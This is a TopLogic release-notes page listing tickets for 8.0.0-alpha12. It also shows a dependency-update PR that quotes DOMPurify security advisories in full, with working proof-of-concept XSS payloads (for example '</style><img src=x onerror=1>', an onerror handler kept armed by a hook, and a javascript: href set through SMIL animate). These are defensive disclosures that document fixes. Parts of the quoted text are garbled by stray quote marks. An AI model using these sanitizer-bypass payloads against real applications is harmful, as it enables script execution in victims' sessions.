TopLogic - the automated application engine
  • Releases
  • Dokumentation
  • Github
  • Discord
  1. Home
  2. Releases
  3. TL_8.0.0-alpha12
  4. #29949

8.0.0-alpha12
TopLogic Release

2026-10-30

enhancement

major
#29658
TL Views: Schwebende Hauptaktion (Floating Action Button) und Aktionsfächer (Speed Dial)
#29704
tl-archetype-app: Neue Anwendung standardmäßig mit React-Oberfläche erzeugen, klassische Oberfläche per Option
#29729
TL Views: Ein Flussdiagramm (flow-diagram) lässt sich nicht für Mehrfachauswahl konfigurieren
#29781
TL Views: Aktionsketten mit benannten Argumenten – Auslöser liefern mehrere Werte, Skripte verwenden sie als implizite Variablen, Aktionen mit Ergebnis führen Folgeaktionen in <with-result> aus
#29856
React UI: consolidate the access check definitions of views, commands and TL-Script functions
#29860
Konfigurationsformulare: Eingabefelder werden über fachliche Annotationen (@MultiLine, @Code, @Html, @Inline, …) gewählt, in klassischer und React-Oberfläche gleich; @ControlProvider und @ConfigControl entfallen
#29865
Configuration layering: removing a list entry whose key the underlying layers do not (or no longer) define fails the application start
#29875
Design System wave 5a: color input, icon select and slider read the design system package
#29877
Developer docs: an article on the persistency configuration of an application (single branch vs. multiple branches, type systems, what changes the schema)
#29880
XIO: Import of an evolving external format: report unknown elements, reject a second composite container with a location, match several values in one <switch> case
#29887
TL Views: Einfügevorschläge für ein Textfeld - per TL-Script berechnete Vorschläge an der Schreibmarke
#29888
view-layer forms: normalize an entered value before it is stored
#29892
view-layer forms: actions that enter and leave edit mode (<enter-edit-mode/>, <leave-edit-mode/>)
#29893
Model upgrade log does not mention a reference whose target type changed
#29896
Typed configuration: config:ref addresses an entry of a keyed list by a globally unique key without naming the path to it; a view overlay addresses every element by its id
#29904
Design System wave 5b: media controls read the design system package
#29905
Switch tl-engine to Java 21
#29906
Design System wave 5c: calendar, kanban, dashboard and value list read the design system package
#29914
Design System wave 5d: foundation pieces and foreign stylesheets read the design system package; tlReactControls.css is removed
#29917
Rollenprofil-Import: implizite Leserechte der umgebenden Sicherheits-Layouts ergänzen
#29941
TL Views: Auswahlfeld, das zusätzlich einen frei eingegebenen Wert annimmt ("auswählen oder neu eingeben")
#29942
TL Views: Erwähnungen im HTML-Editor - Verweise auf Objekte (z.B. Projektmitglieder, Tickets) per @/# einfügen, die zu Links werden
#29944
Konfigurierbare Start-Haken, die nach dem Start aller Services ausgeführt werden
#29947
Steueranwendung: Workspace-Management – leere TopLogic-Anwendung in einem Docker-Container anlegen, starten, stoppen und aufräumen
#29948
Credentials für externe Dienste ohne Geheimnisse in der Konfiguration: Secret-Quellen, Token-basierte Authentifizierung (Keycloak/OIDC, Workload Identity, Azure) und API-Gateway
#29953
Steueranwendung: Agenten-Harness im Workspace – Auftrag an Claude Code, Live-Transkript, Übernahme durch einen Menschen, LLM-Zugang über einen Proxy
#29954
KI: Modellkatalog aus der Dienstkonfiguration des LLM-Anbieter-Dienstes herausnehmen und in einer eigenen Ansicht zeigen
#29955
React-UI: Dienstkonfiguration anzeigen, bearbeiten und speichern (mit Kennzeichnung "Neustart erforderlich")
#29956
Anwendungen und Fragment-Module ohne TopLogic-Parent-POM bauen: BOM, Maven-Packaging tl-app/tl-fragment und Feature-Starter
#29957
React-Oberfläche: Browser-Tab-Titel folgt der angezeigten Ansicht
#29963
Development-Menü im React-UI nur für angemeldete Benutzer anzeigen
#29965
tl-ai-core: LLM-Anbieter ohne Anwendungskonfiguration über Umgebungsvariablen aktivieren
#29968
Filterleiste: Presets mit Zähler und eigener CSS-Klasse
#29973
XML import: <set-translation> stores an empty text and needs a bound language
#29974
XML import: <unless-known> cannot import the attributes of a known element without its structure
#29975
XML import: <resolve-existing> loads only the partition of existing objects an ID belongs to; linking checks membership without reading the whole reference
#29976
View layer: <tree-table> offers no <export> (Excel export) although the export writes trees as outlines
#29977
View layer: <tree-table> has no node display (icon, label, CSS class per cell) and no row-class
#29981
View layer: a table column cannot be declared unsortable, so the groups it forms cannot keep the order of their rows
#29989
Javadoc-Verweise und ungenutzte Imports im Maven-Build prüfen, Eclipse meldet fehlerhaftes Javadoc nur noch als Warnung
#30012
Translator: erkannte Ausgangssprache bei automatischer Spracherkennung zurückgeben
#30017
Build: Git-Merge-Treiber für die generierten Ressourcendateien, damit parallele Pull-Requests nicht bei jedem neuen Schlüssel in Konflikt geraten
#30051
Initiale Gruppen "user" und "superuser" in der Basis anlegen
minor
#29852
TL Views: Mehrwertige Binärwerte als Datei-Chips (oder Werteliste) mit Mehrfach-Upload, Pflichtfeld, Validierung und accept-Filter; <file-list> entfällt
#29872
TL Views: the min/max/step of a number input (slider) are fixed in the configuration and cannot come from a channel or expression
#29873
TL Views: a time input (ReactDatePickerControl.Kind.TIME) cannot enter or show seconds
#29874
TL Views: a select input always sorts its options by label - no way to keep the order of the option list
#29898
Development start (tl-ide-jetty) provides no Jakarta WebSocket container
#29952
React-View-Schicht: Fenster folgen Commits anderer Threads ohne eigene Konfiguration – ersetzt CommitSource und den Refresh-Teil von AgentViewRefreshService

defect

critical
#29926
Derived attributes computed by a <query> storage evaluate to null for a user without Discover right on the object (regression of #29782 in 8.0.0-alpha11)
#29994
Build: master verletzt den JavaDoc- und Import-Check von #29989 (tl-chat, tl-ai-core, tl-factory)
major
#29742
Konfigurierte Defaults (<defaults>) wirken nicht innerhalb der Anwendungskonfiguration
#29798
Derived reference reads as empty in the commit check (no user): result filter of AttributeByExpression stays on
#29869
A React view window that lost its SSE connection keeps every later KB revision in memory until its session ends
#29876
KnowledgeBase on H2: deleting objects scans the association tables (the reference indexes start with BRANCH, and H2 seeks an IN list only on the first index column)
#29886
view-layer <confirm>: line breaks of the message are collapsed
#29889
Adding one element to a set reference reads the whole set (quadratic set building)
#29895
deploy/local applies only to the module in the working directory: a module of a multi-module build cannot be started from the reactor root
#29908
React-Tabelle zeigt nach dem Neuladen der Seite in den oberen Zeilen keinen Inhalt
#29916
Rollenprofile: Leserecht eines Dialogs wird auf die öffnende Komponente übertragen
#29918
Design System: a panel's toolbar sticks to the title instead of standing at the end of the title bar
#29920
TL Views: Die Zeilenauswahl in einer React-Tabelle braucht bis zu einer Sekunde, weil jede Auswahl alle Zellen neu überträgt und bei einer Tabelle mit Eingabekanal alle Zellen neu erzeugt
#29922
Composition-Tabelle in einem Formular bekommt keine Höhe, ein Dialog kann nicht mehr bis zur Tabelle scrollen
#29923
React-Oberfläche: Inhalt eines Navigationseintrags mit route="none" erzeugt URLs, die sich nicht öffnen lassen
#29925
TestGenerateJavaIntegration fails with the split local Maven repository of the CI builds
#29931
invert-link-table makes both ends of a link the destination on MySQL
#29932
Gruppen und Adressen sind für Superuser nicht lesbar: tl.accounts:Group und tl.accounts:Address haben keine Rollenquelle
#29933
React-UI: Der Griff eines Split-Panels "läuft weg" beim Ziehen mit der Maus; tiefe Baumknoten brechen um statt waagerecht zu rollen
#29934
View-Designer: Zur Laufzeit geöffnete Sichten (Rahmen eines tile-stack, navigate-push, open-dialog) fehlen im Entwurfsbaum und lassen sich nicht per "Sicht auswählen" anwählen
#29964
React UI: password login sometimes logs out immediately - a command of the replaced window triggers the stale-UI reload of the old window URL
#29967
React-UI: Spaltenauswahl der Tabelle bietet das Gruppieren nach einer Spalte nicht mehr an
#29970
React-Bridge: Ein Sprung, der seine Zielseite erst erzeugt, malt sie ohne die gesetzte Auswahl
#29971
React-Views: Die Ausführbarkeit eines Befehls übersieht einen Commit eines fremden Threads während des Seitenaufbaus
#29978
View layer: <tree-table> does not reveal a selected object under a collapsed node and misses changes while hidden
#29979
Migration: migrations of an application module without a stored version never run, the auto model upgrade runs instead
#29980
Migration: update-class with a new-name in another module does not move the class's associations
#29983
View layer: a tab strip wider than its container neither scrolls nor wraps nor collapses into a menu
#29990
React-UI: Panels und bedingte Inhalte nehmen in Split-Flächen, Tabs und Stacks die falsche Höhe
#29991
View layer: split-panel ignores unit="px" of a pane and treats its size as a weight
#29992
React-Modelleditor: Annotation "Eingabekontrolle" bietet keine Umsetzung zur Auswahl an
#29999
React-UI: Tabelle zeigt nicht mehr an, welche Spalten gefiltert sind
#30001
Entwicklungsmodus: neu geschriebene WEB-INF-Dateien sind über den FileManager erst verzögert sichtbar (Theme-Import zeigt keine Variablen, ThemeEditor_Ticket-24158_Import-export scheitert sporadisch)
#30002
Service-Editor: Konfiguration aller Services fehlerfrei anzeigen
#30005
React-Oberfläche: Ein Einstiegspunkt verliert beim Laden seine View-Datei aus der URL, F5 zeigt die Default-View (Regression #29957)
#30013
TL Views: Auswahlfelder bieten später angelegte Objekte ihres Typs erst nach neuer Anmeldung an
#30014
React-Formulare: Sichtbarkeit beim Anlegen (create-visibility) eines Attributs wird nicht berücksichtigt
#30015
React-Oberfläche: Anlegen in einem Container wird nicht geprüft, solange der Container-Kanal leer ist
#30016
Aufzählungswerte (Klassifikatoren) sind für Benutzer ohne Administratorrechte nicht entdeckbar: Ein Aufzählungs-Attribut kann nicht gesetzt werden
#30019
TABLE.debounce() verwendet globalen Singleton-Timer — Slice-Nachladen schlägt bei mehreren Tabellen fehl
#30024
React-Oberfläche: NullPointerException in ModelAccessPolicy.isGrantable, wenn ein Zugriffs-Parent seine Parent-Typen nicht statisch kennt
#30026
Instabiler Test: TestQueueReporter#testGetReport schlägt fehl, wenn zwei Builds auf demselben Knoten gleichzeitig laufen oder der Rechner ausgelastet ist
#30030
Mail-Server-Daemon: neue Mails anhand der IMAP-UID statt des Gelesen-Flags erkennen, unbekannte Mails standardmäßig im Postfach belassen
#30055
TL Views: a table with active-preset and search-term channels renders every filtered row instead of a window; 15k rows load 88 MB and crash the browser tab
minor
#29515
Inkonsistente Drop-Typ Konfiguration für Drop-Operationen möglich
#29868
KBChangeAnalzyer logs "There is a part id ... but no item for update" for every update of a part of a monomorphic inline-set storage
#29883
A boolean attribute without a value reads as false on a persistent object, as null on a transient one
#29894
Commit einer geänderten Annotation loggt ERROR mit Stacktrace, wenn der alte Wert eines abgeleiteten Attributs (z.B. options) nicht mehr instanziierbar ist
#29935
Popup-Fenster (Skript-Rekorder, Dokumentation) lässt sich nach dem Schließen nicht sofort wieder öffnen (Edge/Chromium): Fehler "Cannot read properties of null (reading 'services')"
#29959
Persönliche Einstellungen werden nicht gespeichert, wenn der Benutzer eine verletzte Modell-Bedingung hat (z. B. root ohne Kontaktdaten)
#29960
React-Oberfläche: Browser-Tab zeigt immer "TopLogic View" statt des Anwendungsnamens
#29969
SecurityConfiguration: Crash durch DeletedObjectAccess
#29972
composition-table im Bearbeitungsmodus: die Lösch-Spalte bekommt den freien Platz statt der letzten Datenspalte
#30056
TL Views: NullPointerException in ReactControl.commitUpdate from the session-timeout notice countdown ("Failed to announce the activity of session")

task

major
#29767
Clean up loose design documents (docs/, specs/, module doc folders): valid content into the developer documentation, open work into tickets
#29924
Integrate the tl-ai repository into tl-engine: its modules become engine modules
#30037
Name the base type of polymorphic configuration properties as wildcard bound (PolymorphicConfiguration<? extends X>) and check the rule in the build
minor
#29921
Renovate hinterlässt in npm-Lock-Dateien verwaiste Einträge, die der nächste Maven-Build wieder entfernt

update

critical
#29949
Update dependency dompurify to ^3.4.17 [SECURITY]
#29950
Update dependency vite to ^6.4.4 [SECURITY]
#29984
Update dependency serialize-javascript to ^7.1.3 [SECURITY]
#30008
Update dependency com.google.guava:guava to v33 [SECURITY]
update

critical

#29949

Update dependency dompurify to ^3.4.17 [SECURITY]

DependencyUpdateSecurityIssue

This PR contains the following updates:

Package Type Update Change
--- --- --- ---
dompurify dependencies patch ^3.2.4 → ^3.4.17

---

⚠️ Warning

Some dependencies could not be looked up. Check the warning logs for more information.

---

DOMPurify: IN_PLACE returns a force-removed rawtext root whose text carries attacker markup — pure HTML reparse executes

CVE-2026-109345 / GHSA-6688-9rhm-gjv2

Details

##### Environment

  • dompurify 3.4.15 (current npm release); reproduced independently on jsdom 30.0.1 and 29.1.1 (Node.js 20.x / 26.x)
  • Config: DOMPurify.sanitize(node, { IN''PLACE: true }) on a Node input; SAFE''FOR_XML at its default ( true )

##### Summary

The 3.4.9 fix for the IN''PLACE detached-root class added two protections on the IN''PLACE return path: a fail-closed TypeError in forceRemove when a node selected for removal cannot be detached, and a ''neutralizeSubtree pass ( dist/purify.js line 1336) that strips non-allowlisted '''attributes' from removed subtrees.

Both miss the rawtext text-content** form. When the force-removed root is a rawtext element ( <style> ), the payload lives in the node's *text*: the node detaches fine (the TypeError guard is not reached), ''neutralizeSubtree strips nothing (there are no attributes), and the IN''PLACE exit returns the detached, never-sanitized <style> whose text still carries live markup. Serializing that node and re-parsing it in **plain HTML context materializes the payload — no foreign-content context required.

The same Node input sanitized without IN''PLACE returns an empty result: the only difference is the IN''PLACE return path handing the killed node back.

##### Steps to reproduce

{{{js const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); // 3.4.15

const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window);

const styleRoot = window.document.createElement('style'); styleRoot.setAttribute('onclick', 'alert(1)'); // attribute payload styleRoot.textContent = '</style><img src=x onerror=1>'; // text payload window.document.body.appendChild(styleRoot);

const returned = DOMPurify.sanitize(styleRoot, { IN_PLACE: true });

console.log(returned === styleRoot); // true (same node) console.log(styleRoot.parentNode === null); // true (detached) console.log(styleRoot.outerHTML); // <style></style><img src=x onerror=1></style> console.log(styleRoot.getAttribute('onclick')); // null (attribute neutralized) console.log(styleRoot.textContent); // '</style><img src=x onerror=1>' (text survives)

// plain HTML reparse (no foreign-content context involved): const probe = window.document.createElement('div'); probe.innerHTML = returned.outerHTML || styleRoot.outerHTML; console.log(probe.querySelectorAll('img').length); // 1 console.log(probe.querySelector('img').getAttribute('onerror')); // "1"

Observed on 3.4.15: one node, one call — the  onclick  '''attribute** is neutralized while the **text''' payload ( </style><img src=x onerror=1> ) survives verbatim; serializing and re-parsing the returned node in plain HTML context materializes the  img  with the live  onerror  handler.

Contrast on the same Node input without  IN''PLACE :  RETURN''DOM: true  →  <body></body> ;  RETURN''DOM''FRAGMENT: true  → 0 children — the payload is fully sanitized away. The only difference is the IN_PLACE return path.

Contrast on the removal trigger:  SAFE''FOR''XML: false  → the node is not removed (detached stays false); plain CSS text → not removed. The removal is gated by the mXSS text probes and happens *specifically because* the serialized node would re-open tags on reparse.

##### Root cause

 ''isUnsafeNode  ( dist/purify.js  3.4.15, lines 1700–1714) removes nodes whose literal text would re-open tags on reparse — shape (b) in the source comment is "text-only content that already carries the element's OWN end tag", detected by the  LITERAL''TEXT''CLOSE  probe (line 385) alongside the  ELEMENT''MARKUP''PROBE  (line 339) rules.  ''forceRemove  (line 1122) records the node in  DOMPurify.removed  ( {element} ) and detaches it. The removal is intentional: the upstream comment states these shapes are removed '''because the literal serializer emits them verbatim for the HTML parser to re-open'''.

The IN''PLACE exit then hands the force-removed root back to the caller — the very node whose removal  DOMPurify.removed  just recorded (verified:  DOMPurify.removed.some(e => e.element === root)  is  true  on the returned instance). The 3.4.9  ''neutralizeSubtree  pass (line 1336) addresses only the attribute form — its own docstring: "walks a removed subtree and strips every attribute" (purpose: cancel queued resource events). Rawtext text content is out of its scope, so the removal that was performed *specifically to prevent reparse* is undone by returning the node: you removed it to stop the reparse, then returned it.

Differential (one node, one call, same removal path): the  onclick  attribute is neutralized by the existing pass while the text payload survives verbatim — the attribute axis is covered, the text axis is the gap.

##### Impact

Identical blast radius to the published IN''PLACE family: an application that sanitizes a Node in  IN''PLACE  mode and re-inserts (or serializes and then re-inserts) the result materializes attacker markup in plain HTML context: script execution in the page. Moving the returned node via  appendChild  alone is safe; the round trip through serialization is what fires the payload. No foreign-content context is required with the close-tag payload.

##### Affected versions

- Verified live: 3.4.15 (current).
- Source-verified: the attribute-only  ''neutralizeSubtree  and the IN''PLACE return path are present in 3.4.9–3.4.14; releases before 3.4.9 predate the fix entirely (unconditional return; individual pre-3.4.9 releases not dynamically tested).
- Per cure53 advisory convention the affected range is reported as  <= 3.4.15  (current at time of writing).

##### Suggested remediation

'''Primary (root-cause, covers every form):''' at the IN_PLACE exit, check whether the returned root was recorded during sanitization —  DOMPurify.removed.some(e => e.element === root)  — and fail closed: throw the same  TypeError  style used by the 3.4.9 detach guard ("a node selected for removal could not be safely returned; refusing to sanitize in place"), or return  null . This is consistent with the existing fail-closed design and covers all present and future root-kill reasons in one check.

'''Secondary (form-specific):** extend  ''neutralizeSubtree  to neutralize **text content of rawtext descendants''' — the elements in  LITERAL''TEXT''ELEMENT''NAMES  ( style ,  script ,  xmp ,  iframe ,  noembed ,  noframes ,  plaintext ,  noscript ) — by rewriting  textContent  to a defanged form, matching the probe coverage of  ''isUnsafeNode / LITERAL''TEXT_CLOSE .

A regression test asserting that a force-removed rawtext root comes back with no  /<[/\w!]/  match in  textContent  (and is not returned at all under the primary fix) prevents re-introduction.

##### Prior art / differentiation

- GHSA-r47g-fvhr-h676 (fixed 3.4.6): clobbered-form '''root''' removal — different trigger; this report's root is a normal allowlisted  style  element killed by the text probe.
- GHSA-55q2-fjhq-7xh7 (low): IN''PLACE '''hook removal** leaves a detached subtree executable — the attribute-form twin (hook-stripped subtree retains onload-class handlers). This report's rawtext **text''' form is not covered by  ''neutralizeSubtree 's attribute stripping and is not that advisory.
- GHSA-h8r8-wccr-v5f2 (medium): mXSS via re-contextualization in the standard (non-IN''PLACE) serialize path — different mechanism; IN''PLACE is not involved.
- The 3.4.9 release notes credit @mozfreedyb for the IN_PLACE handling improvements that this residual escapes on the text axis.

##### Applicability scope (stated up front)

The payload materializes when the application '''serializes and re-parses** the sanitizer output ( innerHTML  assignment, template rendering, markdown/HTML round trips) or otherwise consumes the returned node's markup. Moving the returned node via  appendChild  alone does not trigger it. Applications that pass **live, connected attacker trees''' into  IN''PLACE  are explicitly warned against by upstream's own source comment; this report concerns the serialize-and-reinsert consumption pattern that the IN''PLACE mode exists to serve.

=== Severity ===
Low

=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2 https://github.com/cure53/DOMPurify/security/advisories/GHSA-6688-9rhm-gjv2]
- [https://github.com/cure53/DOMPurify/pull/1636 https://github.com/cure53/DOMPurify/pull/1636]
- [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7 https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.16 https://github.com/cure53/DOMPurify/releases/tag/3.4.16]

This data is provided by [https://osv.dev/vulnerability/GHSA-6688-9rhm-gjv2 OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS ==
[https://nvd.nist.gov/vuln/detail/CVE-2026-109344 CVE-2026-109344] / [https://github.com/advisories/GHSA-p98j-92pf-mc4p GHSA-p98j-92pf-mc4p]




=== Details ===
##### Summary

In  IN''PLACE  mode DOMPurify sanitizes the caller's live DOM subtree directly. To close a known hazard (GHSA-55q2-fjhq-7xh7), the library neutralizes any node a hook detaches during sanitization by stripping its subtree's non-allow-listed attributes, but this neutralization is wired only into the  beforeSanitizeElements  and  uponSanitizeElement  hook sites. An  afterSanitizeElements  or  afterSanitizeAttributes  hook that removes a non-root element (a documented, supported pattern) detaches that element's subtree with no neutralization, so descendant  on*  handlers remain armed on the caller's live tree after  sanitize()  returns, yielding DOM XSS. No special privilege is required beyond supplying markup to an application that uses  IN''PLACE  together with a node-removing afterSanitize hook.

##### Root Cause

 IN''PLACE  sanitization mutates the caller's live document, so any element a hook detaches from that tree must have its subtree neutralized before  sanitize()  returns; otherwise a queued resource-event handler (for example an  <img onerror>  that began loading when the caller built the tree) fires in page scope even though the handler never reached the sanitized output. The guard helper  ''handleHookDetachedNode  (which calls  ''neutralizeSubtree  in  IN''PLACE ) is invoked only after  beforeSanitizeElements  and after  uponSanitizeElement . It is never invoked from the afterSanitize return paths, and  ''sanitizeAttributes  never calls it at all. The post-walk  IN''PLACE  neutralization pass iterates only  DOMPurify.removed , and hook-detached nodes are intentionally not recorded there, so that pass cannot reach them either.

{{{text
src/purify.ts
  ''sanitizeElements: ''handleHookDetachedNode present at lines 2142 and 2175
    (before/upon), absent after afterSanitizeElements at lines 2208 and 2249.
  _sanitizeAttributes: afterSanitizeAttributes fires at line 2670 with no
    detach re-check; the function never calls _handleHookDetachedNode.
  Post-walk IN_PLACE pass (lines 3081-3090) iterates DOMPurify.removed only,
    which by design (comment at lines 2096-2099) excludes hook-detached nodes.
{{{

##### Impact

An attacker who supplies markup processed by a victim application that runs  DOMPurify.sanitize(node, { IN''PLACE: true })  and registers a node-removing  afterSanitizeElements  or  afterSanitizeAttributes  hook can retain arbitrary  on*  event handlers on descendants of a removed non-root element. Because  IN''PLACE  operates on the caller's live document, a queued resource-event handler on such a descendant fires in the page origin after the synchronous  sanitize()  call returns, giving script execution in the victim's session (DOM XSS). This defeats DOMPurify's  IN_PLACE  contract to neutralize handlers on subtrees removed from the live tree. The capability is script execution in the victim origin; exact confidentiality and integrity effects depend on the hosting application's session.

##### Proof of Concept

{{{text
Dependencies: Node.js and jsdom. The harness builds a live tree, registers a
removal hook, runs IN_PLACE sanitize(), then inspects whether the attacker
onerror handler survives on the detached descendant. jsdom does not perform
real image loads, so the retained handler (rather than an actual fired event)
is the observed hazard; the retained on* attribute on a live detached node
after a synchronous sanitize() return is the neutralization failure.
{{{

Reproduction steps:
1. Build a live subtree  #root > section#wrap > img[onerror]  where  #root  is the walk root and  section#wrap  is a non-root wrapper.
2. Register an  afterSanitizeElements  (or  afterSanitizeAttributes ) hook that calls  node.remove()  on the wrapper.
3. Call  DOMPurify.sanitize(root, { IN_PLACE: true }) .
4. Observe that the descendant  <img>  retains its  onerror  handler, whereas the same removal performed in a  beforeSanitizeElements / uponSanitizeElement  hook strips it.

{{{javascript
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');
const { window } = new JSDOM('<!DOCTYPE html><body></body>');
const DOMPurify = createDOMPurify(window);

const root = window.document.createElement('div');
root.id = 'root';
root.innerHTML = '<section id="wrap"><img src="x" onerror="ATTACKER()"></section>';
window.document.body.appendChild(root);

DOMPurify.addHook('afterSanitizeElements', (node) => {
  if (node.id === 'wrap') node.remove();
});
DOMPurify.sanitize(root, { IN_PLACE: true });

// The detached <img> still carries its onerror handler:
console.log(root.querySelector('#wrap') === null,               // true (removed from live tree)
            !!window.document.querySelector('img[onerror]') ||  // handler survives on the detached node
            root.innerHTML);
{{{

{{{text
PASS: beforeSanitizeElements detach neutralizes descendant onerror (control)
PASS: uponSanitizeElement detach neutralizes descendant onerror (control)
PASS: without a removal hook the descendant onerror is stripped normally
PASS: afterSanitizeElements detach LEAVES descendant onerror armed (GAP)
PASS: afterSanitizeAttributes detach LEAVES descendant onerror armed (GAP)
PASS: kept custom element removed in afterSanitizeElements leaves descendant onerror armed (GAP)
{{{

##### Attack Chain

1. '''Exposure:''' The victim application calls  DOMPurify.sanitize(liveNode, { IN_PLACE: true })  on attacker-influenced markup and has registered a node-removing  afterSanitizeElements  or  afterSanitizeAttributes  hook per an application policy ( src/purify.ts:3026  walk,  2136  element pass,  2522  attribute pass).
2. '''Control:''' The attacker controls the markup, including a non-root wrapper element and, inside it, a descendant carrying an  on*  resource-event handler such as  <img src=x onerror=...> .
3. '''Path:''' The pre-order walk visits the wrapper before its descendants. During the wrapper's element or attribute pass the application hook detaches the wrapper from the live tree.
4. '''Guard:''' The detach-neutralization guard  ''handleHookDetachedNode  runs only after  beforeSanitizeElements  ( 2142 ) and  uponSanitizeElement  ( 2175 ); it is absent after  afterSanitizeElements  ( 2208 ,  2249 ) and is never called by  ''sanitizeAttributes  (afterSanitizeAttributes at  2670 ). The NodeIterator advances past the detached subtree, so the descendants are never revisited, and the post-walk pass iterates only  DOMPurify.removed , which excludes hook-detached nodes.
5. '''Primitive:''' The descendant retains its  on*  handler on the caller's live document after  sanitize()  returns.
6. '''Result:''' The queued resource event fires the attacker handler in the victim page origin, achieving DOM XSS despite  IN_PLACE  sanitization.

##### Bypass Evidence

The relevant prior fix is GHSA-55q2-fjhq-7xh7 ("IN''PLACE hook removal leaves a detached subtree executable, causing XSS"), whose change ( #1557 ) added  ''neutralizeSubtree  at the  beforeSanitizeElements  and  uponSanitizeElement  detach sites. Inspection of that change shows it touches no afterSanitize site: the diff adds the neutralization only at the before/upon locations, later refactored into  _handleHookDetachedNode  at  src/purify.ts:2142  and  2175 . A subsequent hardening change ( #1616 ) added a  rootWasRemoved  throw and a neutralization sweep over  DOMPurify.removed , but that sweep still iterates only  DOMPurify.removed , which by design excludes hook-detached non-root nodes, so it does not close this gap. The  afterSanitizeElements -on-kept-custom-element site at  2208  was itself introduced by the fix for GHSA-c2j3-45gr-mqc4 ( #1527 ), adding another uncovered hook site.

Disproof attempts, all failed: (a) that a later release closed the afterSanitize gap, refuted by inspecting the published 3.4.13, 3.4.14, and 3.4.15 artifacts; (b) that detached descendants are revisited or re-sanitized, refuted at runtime (the  onerror  is retained only at the afterSanitize sites and stripped at the before/upon sites and with no removal hook); (c) that the post-walk pass catches hook-detached nodes, refuted by the design that excludes them from  DOMPurify.removed ; (d) that the precondition is contrived, refuted by parity with the accepted GHSA-55q2 threat model and the library's own supported pattern of removing a node inside  afterSanitizeElements . The only edge not directly executed is the browser resource-event dispatch (jsdom performs no real image load); it is established by the proven retention of the live handler after a synchronous return, the library's own comments describing exactly this hazard, and parity with the accepted GHSA-55q2 mechanism.

##### Affected Versions

-  Ecosystem: npm 
-  Package: dompurify 
-  Confirmed affected range: >= 3.4.13, <= 3.4.15 
-  Latest release checked: 3.4.15 (npm registry) 
-  Fix status: fixed in 3.4.16 

The before/upon detach neutralization introduced for GHSA-55q2-fjhq-7xh7 first shipped in 3.4.13; the residual afterSanitize gap was verified by reproducing it against the published npm artifacts for 3.4.13, 3.4.14, and 3.4.15. The 3.4.12 artifact predates that neutralization and behaves differently at the before/upon sites, so it is outside this specific incomplete-fix range. No release through 3.4.15 neutralizes detached subtrees at the afterSanitize sites, so no fixed version is established.

##### Suggested Fix

Enforce the same  IN''PLACE  detach-neutralization invariant at every hook site that can detach a node, not only the before/upon sites. Concretely, apply a  ''handleHookDetachedNode(currentNode, root)  re-check after  afterSanitizeElements  at both  src/purify.ts:2208  and  2249  (returning as removed when the node was detached), and add an equivalent  IN''PLACE  detach check plus  ''neutralizeSubtree  after  afterSanitizeAttributes  at  2670 . As an interim mitigation without a code change, applications using  IN''PLACE  can avoid removing nodes inside  afterSanitizeElements / afterSanitizeAttributes  hooks and instead perform such removals in  beforeSanitizeElements / uponSanitizeElement , or avoid  IN''PLACE  for attacker-influenced content.

Reported by zx (GitHub: @manus-pi).

=== Severity ===
- CVSS Score: 2.3 / 10 (Low)
- Vector String:  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N 

=== References ===
- [https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p https://github.com/cure53/DOMPurify/security/advisories/GHSA-p98j-92pf-mc4p]
- [https://github.com/cure53/DOMPurify/pull/1636 https://github.com/cure53/DOMPurify/pull/1636]
- [https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7 https://github.com/cure53/DOMPurify/commit/b9b9d80f7e401771c2ccaef5f45def7eec8f27d7]
- [https://github.com/cure53/DOMPurify https://github.com/cure53/DOMPurify]
- [https://github.com/cure53/DOMPurify/releases/tag/3.4.16 https://github.com/cure53/DOMPurify/releases/tag/3.4.16]

This data is provided by [https://osv.dev/vulnerability/GHSA-p98j-92pf-mc4p OSV] and the [https://github.com/github/advisory-database GitHub Advisory Database] ([https://github.com/github/advisory-database/blob/main/LICENSE.md CC-BY 4.0]).


---

== DOMPurify: SMIL attributeName=href guard is skipped when PARSER''MEDIA''TYPE is application/xhtml+xml ==
[https://github.com/advisories/GHSA-c6gr-qvv4-5v3f GHSA-c6gr-qvv4-5v3f]




=== Details ===
##### Summary

DOMPurify drops  attributeName  attributes whose value contains  href , so an allowed  <animate>  or  <set>  can't rewrite a link's href after sanitizing. The check compares the attribute name after  transformCaseFunc , and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled  attributeName , so the comparison with  "attributename"  never matches and the guard does nothing.

An app that uses  PARSER''MEDIA''TYPE: 'application/xhtml+xml'  and allows  animate  and  attributeName  will keep  <animate attributeName="href" values="x;javascript:alert(1)"> . Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

##### Details

In  _sanitizeAttributes  (dist/purify.js line 2216 in 3.4.16):

{{{js
const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
  _removeAttribute(name, currentNode, attr);
  continue;
}
{{{

 transformCaseFunc  is  stringToLowerCase  for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name  attributeName , so in XHTML mode  lcName  is  attributeName  and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so  ALLOWED''ATTR / ADD''ATTR: ['attributeName', ...]  is the config you'd naturally write here.

The value also passes the URI check.  IS''ALLOWED''URI  only checks the start of the string, and  x;javascript:alert(1)  looks like a relative value. SMIL reads  values  as a  ;  list and, with  fill="freeze" , the last entry ends up as the effective href of the parent  <a> .

In text/html mode the same allowlist is handled correctly. The name is lowercased and  attributeName  is removed.

